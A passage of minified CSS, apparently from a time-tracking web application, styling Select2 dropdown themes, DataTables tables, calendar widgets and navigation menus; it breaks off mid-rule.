.select2-search__field{background:transparent;border:none;outline:0;box-shadow:none;-webkit-appearance:textfield}.select2-container--default .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--default .select2-results__option[role=group]{padding:0}.select2-container--default .select2-results__option[aria-disabled=true]{color:#999}.select2-container--default .select2-results__option[aria-selected=true]{background-color:#ddd}.select2-container--default .select2-results__option .select2-results__option{padding-left:1em}.select2-container--default .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--default .select2-results__option .select2-results__option .select2-results__option{margin-left:-1em;padding-left:2em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-2em;padding-left:3em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-3em;padding-left:4em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-4em;padding-left:5em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-5em;padding-left:6em}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:#5897fb;color:#fff}.select2-container--default .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic .select2-selection--single{background-color:#f7f7f7;border:1px solid #aaa;border-radius:4px;outline:0;background-image:-webkit-linear-gradient(top,#fff 50%,#eee);background-image:-o-linear-gradient(top,#fff 50%,#eee 100%);background-image:linear-gradient(180deg,#fff 50%,#eee);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#FFFFFFFF",endColorstr="#FFEEEEEE",GradientType=0)}.select2-container--classic .select2-selection--single:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--classic .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:700;margin-right:10px}.select2-container--classic .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--classic .select2-selection--single .select2-selection__arrow{background-color:#ddd;border:none;border-left:1px solid #aaa;border-top-right-radius:4px;border-bottom-right-radius:4px;height:26px;position:absolute;top:1px;right:1px;width:20px;background-image:-webkit-linear-gradient(top,#eee 50%,#ccc);background-image:-o-linear-gradient(top,#eee 50%,#ccc 100%);background-image:linear-gradient(180deg,#eee 50%,#ccc);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#FFEEEEEE",endColorstr="#FFCCCCCC",GradientType=0)}.select2-container--classic .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent;border-style:solid;border-width:5px 4px 0;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--classic[dir=rtl] .select2-selection--single .select2-selection__clear{float:left}.select2-container--classic[dir=rtl] .select2-selection--single .select2-selection__arrow{border:none;border-right:1px solid #aaa;border-radius:0;border-top-left-radius:4px;border-bottom-left-radius:4px;left:1px;right:auto}.select2-container--classic.select2-container--open .select2-selection--single{border:1px solid #5897fb}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow{background:transparent;border:none}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888;border-width:0 4px 5px}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:none;border-top-left-radius:0;border-top-right-radius:0;background-image:-webkit-linear-gradient(top,#fff,#eee 50%);background-image:-o-linear-gradient(top,#fff 0,#eee 50%);background-image:linear-gradient(180deg,#fff 0,#eee 50%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#FFFFFFFF",endColorstr="#FFEEEEEE",GradientType=0)}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0;background-image:-webkit-linear-gradient(top,#eee 50%,#fff);background-image:-o-linear-gradient(top,#eee 50%,#fff 100%);background-image:linear-gradient(180deg,#eee 50%,#fff);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#FFEEEEEE",endColorstr="#FFFFFFFF",GradientType=0)}.select2-container--classic .select2-selection--multiple{background-color:#fff;border:1px solid #aaa;border-radius:4px;cursor:text;outline:0}.select2-container--classic .select2-selection--multiple:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--multiple .select2-selection__rendered{list-style:none;margin:0;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__clear{display:none}.select2-container--classic .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove{color:#888;cursor:pointer;display:inline-block;font-weight:700;margin-right:2px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover{color:#555}.select2-container--classic[dir=rtl] .select2-selection--multiple .select2-selection__choice{float:right;margin-left:5px;margin-right:auto}.select2-container--classic[dir=rtl] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--classic.select2-container--open .select2-selection--multiple{border:1px solid #5897fb}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--classic .select2-search--dropdown .select2-search__field{border:1px solid #aaa;outline:0}.select2-container--classic .select2-search--inline .select2-search__field{outline:0;box-shadow:none}.select2-container--classic .select2-dropdown{background-color:#fff;border:1px solid transparent}.select2-container--classic .select2-dropdown--above{border-bottom:none}.select2-container--classic .select2-dropdown--below{border-top:none}.select2-container--classic .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--classic .select2-results__option[role=group]{padding:0}.select2-container--classic .select2-results__option[aria-disabled=true]{color:grey}.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#3875d7;color:#fff}.select2-container--classic .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic.select2-container--open .select2-dropdown{border-color:#5897fb}.select2-container--bootstrap{display:block}.select2-container--bootstrap .select2-selection{-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);background-color:#fff;border:1px solid #ccc;border-radius:4px;color:#555;font-size:14px;outline:0}.select2-container--bootstrap .select2-selection.form-control{border-radius:4px}.select2-container--bootstrap .select2-search--dropdown .select2-search__field{-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);background-color:#fff;border:1px solid #ccc;border-radius:4px;color:#555;font-size:14px}.select2-container--bootstrap .select2-search__field{outline:0}.select2-container--bootstrap .select2-search__field::-webkit-input-placeholder{color:#999}.select2-container--bootstrap .select2-search__field:-moz-placeholder{color:#999}.select2-container--bootstrap .select2-search__field::-moz-placeholder{color:#999;opacity:1}.select2-container--bootstrap .select2-search__field:-ms-input-placeholder{color:#999}.select2-container--bootstrap .select2-results__option{padding:6px 12px}.select2-container--bootstrap .select2-results__option[role=group]{padding:0}.select2-container--bootstrap .select2-results__option[aria-disabled=true]{color:#777;cursor:not-allowed}.select2-container--bootstrap .select2-results__option[aria-selected=true]{background-color:#f5f5f5;color:#262626}.select2-container--bootstrap .select2-results__option--highlighted[aria-selected]{background-color:#337ab7;color:#fff}.select2-container--bootstrap .select2-results__option .select2-results__option{padding:6px 12px}.select2-container--bootstrap .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--bootstrap .select2-results__option .select2-results__option .select2-results__option{margin-left:-12px;padding-left:24px}.select2-container--bootstrap .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-24px;padding-left:36px}.select2-container--bootstrap .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-36px;padding-left:48px}.select2-container--bootstrap .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-48px;padding-left:60px}.select2-container--bootstrap .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-60px;padding-left:72px}.select2-container--bootstrap .select2-results__group{color:#777;display:block;padding:6px 12px;font-size:12px;line-height:1.42857143;white-space:nowrap}.select2-container--bootstrap.select2-container--focus .select2-selection,.select2-container--bootstrap.select2-container--open .select2-selection{-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;-webkit-transition:border-color .15s ease-in-out,-webkit-box-shadow .15s ease-in-out;transition:border-color .15s ease-in-out,-webkit-box-shadow .15s ease-in-out;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out,-webkit-box-shadow .15s ease-in-out;border-color:#66afe9}.select2-container--bootstrap.select2-container--open .select2-selection .select2-selection__arrow b{border-color:transparent transparent #999;border-width:0 4px 4px}.select2-container--bootstrap.select2-container--open.select2-container--below .select2-selection{border-bottom-right-radius:0;border-bottom-left-radius:0;border-bottom-color:transparent}.select2-container--bootstrap.select2-container--open.select2-container--above .select2-selection{border-top-right-radius:0;border-top-left-radius:0;border-top-color:transparent}.select2-container--bootstrap .select2-selection__clear{color:#999;cursor:pointer;float:right;font-weight:700;margin-right:10px}.select2-container--bootstrap .select2-selection__clear:hover{color:#333}.select2-container--bootstrap.select2-container--disabled .select2-selection{border-color:#ccc;-webkit-box-shadow:none;box-shadow:none}.select2-container--bootstrap.select2-container--disabled .select2-search__field,.select2-container--bootstrap.select2-container--disabled .select2-selection{cursor:not-allowed}.select2-container--bootstrap.select2-container--disabled .select2-selection,.select2-container--bootstrap.select2-container--disabled .select2-selection--multiple .select2-selection__choice{background-color:#eee}.select2-container--bootstrap.select2-container--disabled .select2-selection--multiple .select2-selection__choice__remove,.select2-container--bootstrap.select2-container--disabled .select2-selection__clear{display:none}.select2-container--bootstrap .select2-dropdown{-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175);border-color:#66afe9;overflow-x:hidden;margin-top:-1px}.select2-container--bootstrap .select2-dropdown--above{-webkit-box-shadow:0 -6px 12px rgba(0,0,0,.175);box-shadow:0 -6px 12px rgba(0,0,0,.175);margin-top:1px}.select2-container--bootstrap .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--bootstrap .select2-selection--single{height:34px;line-height:1.42857143;padding:6px 24px 6px 12px}.select2-container--bootstrap .select2-selection--single .select2-selection__arrow{position:absolute;bottom:0;right:12px;top:0;width:4px}.select2-container--bootstrap .select2-selection--single .select2-selection__arrow b{border-color:#999 transparent transparent;border-style:solid;border-width:4px 4px 0;height:0;left:0;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--bootstrap .select2-selection--single .select2-selection__rendered{color:#555;padding:0}.select2-container--bootstrap .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--bootstrap .select2-selection--multiple{min-height:34px;padding:0;height:auto}.select2-container--bootstrap .select2-selection--multiple .select2-selection__rendered{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;display:block;line-height:1.42857143;list-style:none;margin:0;overflow:hidden;padding:0;width:100%;text-overflow:ellipsis;white-space:nowrap}.select2-container--bootstrap .select2-selection--multiple .select2-selection__placeholder{color:#999;float:left;margin-top:5px}.select2-container--bootstrap .select2-selection--multiple .select2-selection__choice{color:#555;background:#fff;border:1px solid #ccc;border-radius:4px;cursor:default;float:left;margin:5px 0 0 6px;padding:0 6px}.select2-container--bootstrap .select2-selection--multiple .select2-search--inline .select2-search__field{background:0 0;padding:0 12px;height:32px;line-height:1.42857143;margin-top:0;min-width:5em}.select2-container--bootstrap .select2-selection--multiple .select2-selection__choice__remove{color:#999;cursor:pointer;display:inline-block;font-weight:700;margin-right:3px}.select2-container--bootstrap .select2-selection--multiple .select2-selection__choice__remove:hover{color:#333}.select2-container--bootstrap .select2-selection--multiple .select2-selection__clear{margin-top:6px}.form-group-sm .select2-container--bootstrap .select2-selection--single,.input-group-sm .select2-container--bootstrap .select2-selection--single,.select2-container--bootstrap .select2-selection--single.input-sm{border-radius:3px;font-size:12px;height:30px;line-height:1.5;padding:5px 22px 5px 10px}.form-group-sm .select2-container--bootstrap .select2-selection--single .select2-selection__arrow b,.input-group-sm .select2-container--bootstrap .select2-selection--single .select2-selection__arrow b,.select2-container--bootstrap .select2-selection--single.input-sm .select2-selection__arrow b{margin-left:-5px}.form-group-sm .select2-container--bootstrap .select2-selection--multiple,.input-group-sm .select2-container--bootstrap .select2-selection--multiple,.select2-container--bootstrap .select2-selection--multiple.input-sm{min-height:30px;border-radius:3px}.form-group-sm .select2-container--bootstrap .select2-selection--multiple .select2-selection__choice,.input-group-sm .select2-container--bootstrap .select2-selection--multiple .select2-selection__choice,.select2-container--bootstrap .select2-selection--multiple.input-sm .select2-selection__choice{font-size:12px;line-height:1.5;margin:4px 0 0 5px;padding:0 5px}.form-group-sm .select2-container--bootstrap .select2-selection--multiple .select2-search--inline .select2-search__field,.input-group-sm .select2-container--bootstrap .select2-selection--multiple .select2-search--inline .select2-search__field,.select2-container--bootstrap .select2-selection--multiple.input-sm .select2-search--inline .select2-search__field{padding:0 10px;font-size:12px;height:28px;line-height:1.5}.form-group-sm .select2-container--bootstrap .select2-selection--multiple .select2-selection__clear,.input-group-sm .select2-container--bootstrap .select2-selection--multiple .select2-selection__clear,.select2-container--bootstrap .select2-selection--multiple.input-sm .select2-selection__clear{margin-top:5px}.form-group-lg .select2-container--bootstrap .select2-selection--single,.input-group-lg .select2-container--bootstrap .select2-selection--single,.select2-container--bootstrap .select2-selection--single.input-lg{border-radius:6px;font-size:18px;height:46px;line-height:1.3333333;padding:10px 31px 10px 16px}.form-group-lg .select2-container--bootstrap .select2-selection--single .select2-selection__arrow,.input-group-lg .select2-container--bootstrap .select2-selection--single .select2-selection__arrow,.select2-container--bootstrap .select2-selection--single.input-lg .select2-selection__arrow{width:5px}.form-group-lg .select2-container--bootstrap .select2-selection--single .select2-selection__arrow b,.input-group-lg .select2-container--bootstrap .select2-selection--single .select2-selection__arrow b,.select2-container--bootstrap .select2-selection--single.input-lg .select2-selection__arrow b{border-width:5px 5px 0;margin-left:-10px;margin-top:-2.5px}.form-group-lg .select2-container--bootstrap .select2-selection--multiple,.input-group-lg .select2-container--bootstrap .select2-selection--multiple,.select2-container--bootstrap .select2-selection--multiple.input-lg{min-height:46px;border-radius:6px}.form-group-lg .select2-container--bootstrap .select2-selection--multiple .select2-selection__choice,.input-group-lg .select2-container--bootstrap .select2-selection--multiple .select2-selection__choice,.select2-container--bootstrap .select2-selection--multiple.input-lg .select2-selection__choice{font-size:18px;line-height:1.3333333;border-radius:4px;margin:9px 0 0 8px;padding:0 10px}.form-group-lg .select2-container--bootstrap .select2-selection--multiple .select2-search--inline .select2-search__field,.input-group-lg .select2-container--bootstrap .select2-selection--multiple .select2-search--inline .select2-search__field,.select2-container--bootstrap .select2-selection--multiple.input-lg .select2-search--inline .select2-search__field{padding:0 16px;font-size:18px;height:44px;line-height:1.3333333}.form-group-lg .select2-container--bootstrap .select2-selection--multiple .select2-selection__clear,.input-group-lg .select2-container--bootstrap .select2-selection--multiple .select2-selection__clear,.select2-container--bootstrap .select2-selection--multiple.input-lg .select2-selection__clear{margin-top:10px}.input-group-lg .select2-container--bootstrap .select2-selection.select2-container--open .select2-selection--single .select2-selection__arrow b,.select2-container--bootstrap .select2-selection.input-lg.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #999;border-width:0 5px 5px}.select2-container--bootstrap[dir=rtl] .select2-selection--single{padding-left:24px;padding-right:12px}.select2-container--bootstrap[dir=rtl] .select2-selection--single .select2-selection__rendered{padding-right:0;padding-left:0;text-align:right}.select2-container--bootstrap[dir=rtl] .select2-selection--single .select2-selection__clear{float:left}.select2-container--bootstrap[dir=rtl] .select2-selection--single .select2-selection__arrow{left:12px;right:auto}.select2-container--bootstrap[dir=rtl] .select2-selection--single .select2-selection__arrow b{margin-left:0}.select2-container--bootstrap[dir=rtl] .select2-selection--multiple .select2-search--inline,.select2-container--bootstrap[dir=rtl] .select2-selection--multiple .select2-selection__choice,.select2-container--bootstrap[dir=rtl] .select2-selection--multiple .select2-selection__placeholder{float:right}.select2-container--bootstrap[dir=rtl] .select2-selection--multiple .select2-selection__choice{margin-left:0;margin-right:6px}.select2-container--bootstrap[dir=rtl] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.has-warning .select2-dropdown,.has-warning .select2-selection{border-color:#8a6d3b}.has-warning .select2-container--focus .select2-selection,.has-warning .select2-container--open .select2-selection{-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;border-color:#66512c}.has-warning.select2-drop-active{border-color:#66512c}.has-warning.select2-drop-active.select2-drop.select2-drop-above{border-top-color:#66512c}.has-error .select2-dropdown,.has-error .select2-selection{border-color:#a94442}.has-error .select2-container--focus .select2-selection,.has-error .select2-container--open .select2-selection{-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;border-color:#843534}.has-error.select2-drop-active{border-color:#843534}.has-error.select2-drop-active.select2-drop.select2-drop-above{border-top-color:#843534}.has-success .select2-dropdown,.has-success .select2-selection{border-color:#3c763d}.has-success .select2-container--focus .select2-selection,.has-success .select2-container--open .select2-selection{-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;border-color:#2b542c}.has-success.select2-drop-active{border-color:#2b542c}.has-success.select2-drop-active.select2-drop.select2-drop-above{border-top-color:#2b542c}.input-group>.select2-hidden-accessible:first-child+.select2-container--bootstrap>.selection>.select2-selection,.input-group>.select2-hidden-accessible:first-child+.select2-container--bootstrap>.selection>.select2-selection.form-control{border-bottom-right-radius:0;border-top-right-radius:0}.input-group>.select2-hidden-accessible:not(:first-child)+.select2-container--bootstrap:not(:last-child)>.selection>.select2-selection,.input-group>.select2-hidden-accessible:not(:first-child)+.select2-container--bootstrap:not(:last-child)>.selection>.select2-selection.form-control{border-radius:0}.input-group>.select2-hidden-accessible:not(:first-child):not(:last-child)+.select2-container--bootstrap:last-child>.selection>.select2-selection,.input-group>.select2-hidden-accessible:not(:first-child):not(:last-child)+.select2-container--bootstrap:last-child>.selection>.select2-selection.form-control{border-bottom-left-radius:0;border-top-left-radius:0}.input-group>.select2-container--bootstrap{display:table;table-layout:fixed;position:relative;z-index:2;width:100%;margin-bottom:0}.input-group>.select2-container--bootstrap>.selection>.select2-selection.form-control{float:none}.input-group>.select2-container--bootstrap.select2-container--focus,.input-group>.select2-container--bootstrap.select2-container--open{z-index:3}.input-group>.select2-container--bootstrap,.input-group>.select2-container--bootstrap .input-group-btn,.input-group>.select2-container--bootstrap .input-group-btn .btn{vertical-align:top}.form-control.select2-hidden-accessible{position:absolute!important;width:1px!important}@media (min-width:768px){.form-inline .select2-container--bootstrap{display:inline-block}}@media (max-width:768px){.main-header .logo{display:none}.control-sidebar,.fixed .content-wrapper,.fixed .right-side,.main-sidebar{padding-top:50px}}.error-page{margin-bottom:50px}@media print{.control-sidebar,.sf-toolbar{display:none!important}.col-print-12{width:100%}}.content{padding:15px 0}@media (min-width:768px){.content{padding:15px}}td.timesheet-description ul{padding-left:15px}td.timesheet-description p{margin:0}.box-body .menu-icon{width:35px;height:35px;border-radius:50%;text-align:center;line-height:35px;margin-right:15px}.avatar-xs{width:20px;height:20px}.avatar-sm{width:25px;height:25px}.avatar-md{width:30px;height:30px}.avatar-lg{width:40px;height:40px}.box-profile img.img-circle{width:100px}.box-profile .profile-username{margin-top:15px}.label-gray{background-color:#d2d6de}.dropdown-menu>li.delete>a{color:#dd4b39}.open-edit{cursor:pointer}td.w-min,th.w-min{width:1%;white-space:nowrap}table.dataTable thead>tr>th.hw-min{width:1%;white-space:normal}.box .box-body.no-padding div.comment{padding:10px}.box .box-tools .btn-pager{float:left;margin-right:5px}#activity_details_box th,#customer_details_box th,#project_details_box th{width:30%}.content-header{height:50px;border-top:1px solid rgba(0,0,0,.1);box-shadow:0 1px 2px rgba(0,0,0,.1)!important;background-color:#fff!important;padding:10px 0 0 10px}.content-header h1{padding-top:3px;float:left}.content-header h1 small{display:none}.content-header>.breadcrumb{position:absolute;float:right;background:transparent;top:0;right:0;padding-left:10px}@media (max-width:992px){.content-header>.breadcrumb{margin-top:0}}@media (min-width:768px){.content-header>.breadcrumb{right:10px}.content-header h1 small{display:inline-block}}.toolbar-pad{padding:10px}@media (min-width:768px){.toolbar form.navbar-form{font-size:14px}.toolbar form.navbar-form .form-control{display:inline-block;width:100%;vertical-align:middle}.toolbar form.navbar-form .control-label,.toolbar form.navbar-form .input-group{width:100%}.toolbar-pad{padding:10px 0}}@media (min-width:768px){.sidebar-mini.sidebar-collapse .sidebar-menu li.header{border-top-width:1px;border-top-style:solid;display:block!important;margin-top:16px;opacity:.4}.sidebar-mini.sidebar-collapse .sidebar-menu li.header span{display:none!important}}footer.main-footer{padding:5px;font-size:80%}.box .overlay>.fas,.overlay-wrapper .overlay>.fas,section.content .overlay>.fas{position:absolute;top:50vh;left:50vw;margin-left:-15px;margin-top:-15px;color:#000;font-size:30px}.box>.loading-img,.box>.overlay,.overlay-wrapper>.loading-img,.overlay-wrapper>.overlay,section.content>.overlay{position:fixed;top:0;left:0;width:100%;height:100%}.box .overlay,.overlay-wrapper .overlay,section.content .overlay{z-index:50;background:hsla(0,0%,100%,.7);border-radius:3px}.box .overlay.dark,.overlay-wrapper .overlay.dark,section.content .overlay.dark{background:rgba(0,0,0,.5)}div.dataTables_length label{font-weight:400;text-align:left;white-space:nowrap}div.dataTables_length select{width:75px;display:inline-block}div.dataTables_filter{text-align:right}div.dataTables_filter label{font-weight:400;white-space:nowrap;text-align:left}div.dataTables_filter input{margin-left:.5em;display:inline-block;width:auto}div.dataTables_info{padding-top:8px;white-space:nowrap}div.dataTables_paginate{margin:0;white-space:nowrap;text-align:right}div.dataTables_paginate ul.pagination{margin:2px 0;white-space:nowrap}@media screen and (max-width:767px){div.dataTables_filter,div.dataTables_info,div.dataTables_length,div.dataTables_paginate{text-align:center}div.DTTT{margin-bottom:.5em}}table.dataTable td,table.dataTable th{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}table.dataTable{clear:both;margin-bottom:0!important;max-width:none!important}table.dataTable thead .sorting,table.dataTable thead .sorting_asc,table.dataTable thead .sorting_asc_disabled,table.dataTable thead .sorting_desc,table.dataTable thead .sorting_desc_disabled{cursor:pointer;position:relative}table.dataTable thead .sorting:before,table.dataTable thead .sorting_asc:before,table.dataTable thead .sorting_desc:before{position:absolute;top:10px;left:5px;display:block;font-family:Glyphicons Halflings;opacity:.5;font-size:12px}table.dataTable thead .sorting:before{opacity:.2;content:"\e150"}table.dataTable thead .sorting_asc:before{content:"\e155"}table.dataTable thead .sorting_desc:before{content:"\e156"}div.dataTables_scrollBody table.dataTable thead .sorting:before,div.dataTables_scrollBody table.dataTable thead .sorting_asc:before,div.dataTables_scrollBody table.dataTable thead .sorting_desc:before{display:none}table.dataTable thead .sorting_asc_disabled:before,table.dataTable thead .sorting_desc_disabled:before{color:#eee}table.dataTable thead>tr>th{vertical-align:top;white-space:nowrap}table.dataTable th:active{outline:none}table.dataTable.table-condensed thead>tr>th{padding-right:20px}table.dataTable.table-condensed thead .sorting:before,table.dataTable.table-condensed thead .sorting_asc:before,table.dataTable.table-condensed thead .sorting_desc:before{top:6px;right:6px}div.dataTables_scrollHead table{margin-bottom:0!important;border-bottom-left-radius:0;border-bottom-right-radius:0}div.dataTables_scrollHead table thead tr:last-child td:first-child,div.dataTables_scrollHead table thead tr:last-child th:first-child{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}div.dataTables_scrollBody table{border-top:none;margin-top:0!important;margin-bottom:0!important}div.dataTables_scrollBody tbody tr:first-child td,div.dataTables_scrollBody tbody tr:first-child th{border-top:none}div.dataTables_scrollFoot table{margin-top:0!important;border-top:none}table.table-bordered.dataTable{border-collapse:separate!important}table.table-bordered thead td,table.table-bordered thead th{border-left-width:0;border-top-width:0}table.table-bordered tbody td,table.table-bordered tbody th,table.table-bordered tfoot td,table.table-bordered tfoot th{border-left-width:0;border-bottom-width:0}table.table-bordered td:last-child,table.table-bordered th:last-child{border-right-width:0}div.dataTables_scrollHead table.table-bordered{border-bottom-width:0}.table.dataTable tbody tr.active td,.table.dataTable tbody tr.active th{background-color:#08c;color:#fff}.table.dataTable tbody tr.active:hover td,.table.dataTable tbody tr.active:hover th{background-color:#0075b0!important}.table.dataTable tbody tr.active td>a,.table.dataTable tbody tr.active th>a{color:#fff}.table-striped.dataTable tbody tr.active:nth-child(odd) td,.table-striped.dataTable tbody tr.active:nth-child(odd) th{background-color:#017ebc}table.dataTable th.sortable{padding-left:22px}table.dataTable.table>tbody>tr>td{vertical-align:middle}table.dataTable.table>tbody>tr>td.avatars{line-height:40px}table.dataTable.table>tbody>tr>td .img-circle{max-width:35px;margin-right:10px}table.dataTable.table>tbody>tr>td .img-circle.teamlead{box-shadow:0 0 5px 3px #d2d6de}span.label-activity,span.label-color,span.label-customer,span.label-meta,span.label-project,span.label-tag{display:inline-block}span.label-activity .dot,span.label-color .dot,span.label-customer .dot,span.label-meta .dot,span.label-project .dot,span.label-tag .dot{font-size:9px;margin-right:3px;color:#d2d6de}table.dataTable .actions{width:40px}table.dataTable tr.summary td{font-weight:700;border-bottom:1px solid #ccc;background-color:#eaeaea}table.dataTable tr th.multiCheckbox{width:15px}table.dataTable tr.overlapping{border-top:2px dotted red}table.dataTable td .btn-group{display:flex}table.dataTable td .label{font-size:85%;font-weight:500;padding:.3em .6em;line-height:24px}table.dataTable td span.label-activity a,table.dataTable td span.label-customer a,table.dataTable td span.label-project a{color:unset;padding-bottom:2px;border-bottom:1px dotted #d2d6de}table.dataTable td span.label-activity a:hover,table.dataTable td span.label-customer a:hover,table.dataTable td span.label-project a:hover{border-bottom:1px dotted #97a0b3}table.dataTable td span.label-invisible{opacity:.8}.popover-content .calendar-entry ul{padding:0;list-style-type:none}.external-events .external-event{vertical-align:middle;padding:0!important;display:inline-block;position:relative;width:100%}.external-events .title{padding:5px 0 5px 10px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.external-events .info-icon{width:30px;white-space:nowrap;padding:5px 7px;border-left:1px solid}.fc-bootstrap3 .table-bordered>tbody>tr>td,.fc-bootstrap3 .table-bordered>thead>tr>td,.fc-bootstrap3 .table-bordered>thead>tr>th{border:1px solid #ddd}.fc-bootstrap3 .fc-head{background-color:#fafafa}.fc-bootstrap3 td.fc-today{background-color:#fcf8e3!important}section.dashboard .info-box .info-box-text{white-space:normal}section .box-body-scrollable{overflow:auto;max-height:300px}.navbar-nav img.img-circle{max-height:26px;margin-top:-2px}.navbar-nav li>a.ddt-large{padding:15px 12px 11px 10px;font-size:10px}.navbar-nav li.messages-menu ul.menu li a:hover .pull-left i{color:#dd4b39}.navbar-nav li.messages-menu ul.menu li a .pull-left i{color:#444}.navbar-nav .messages-menu>.dropdown-menu>li .menu>li>a>p{overflow:hidden;text-overflow:ellipsis}.navbar-nav .messages-menu>.dropdown-menu>li .menu>li>a>h4>span{margin-right:55px}.navbar-nav .dropdown-menu{box-shadow:0 8px 17px 0 rgba(0,0,0,.2),0 6px 20px 0 rgba(0,0,0,.19);max-width:90vw;width:unset!important}.navbar-nav .user-menu{margin-right:10px}.navbar-nav .user-menu ul li a{color:#444}.navbar-nav .user-menu ul li a:hover{background-color:#f4f4f4}.navbar-nav .user-menu ul li a:hover i{color:#0073b7}.navbar-nav .user-menu ul li a i{padding-right:10px}.navbar-nav .user-menu ul li hr{margin:0}.navbar-nav .notifications-menu>.dropdown-menu>li .menu>li>a:hover i{color:#00a65a}@media (max-width:768px){.navbar-custom-menu>.navbar-nav>li>.dropdown-menu{right:0}.navbar-nav .user-menu{margin-right:0}.navbar-nav .user-menu.open .dropdown-menu>li>a{padding:5px 25px}}.drp-calendar .calendar-table td.today:not(.active){background-color:#cde0f1;color:#357ebd}.drp-calendar .calendar-table select.yearselect{width:unset}@media (max-width:768px){.skin-blue .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-blue .main-header .navbar .dropdown-menu li a{color:#444}.skin-blue .main-header .navbar .dropdown-menu li a:hover{background:#fff}.skin-blue-light .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-blue-light .main-header .navbar .dropdown-menu li a{color:#444}.skin-blue-light .main-header .navbar .dropdown-menu li a:hover{background:#fff}}@media (max-width:768px){.skin-black .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-black .main-header .navbar .dropdown-menu li a{color:#444}.skin-black .main-header .navbar .dropdown-menu li a:hover{background:#fff}.skin-black-light .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-black-light .main-header .navbar .dropdown-menu li a{color:#444}.skin-black-light .main-header .navbar .dropdown-menu li a:hover{background:#fff}}@media (max-width:768px){.skin-green .main-header .navbar .dropdown-menu li.divider{background-color:#ccc}.skin-green .main-header .navbar .dropdown-menu li a{color:#444}.skin-green .main-header .navbar .dropdown-menu li 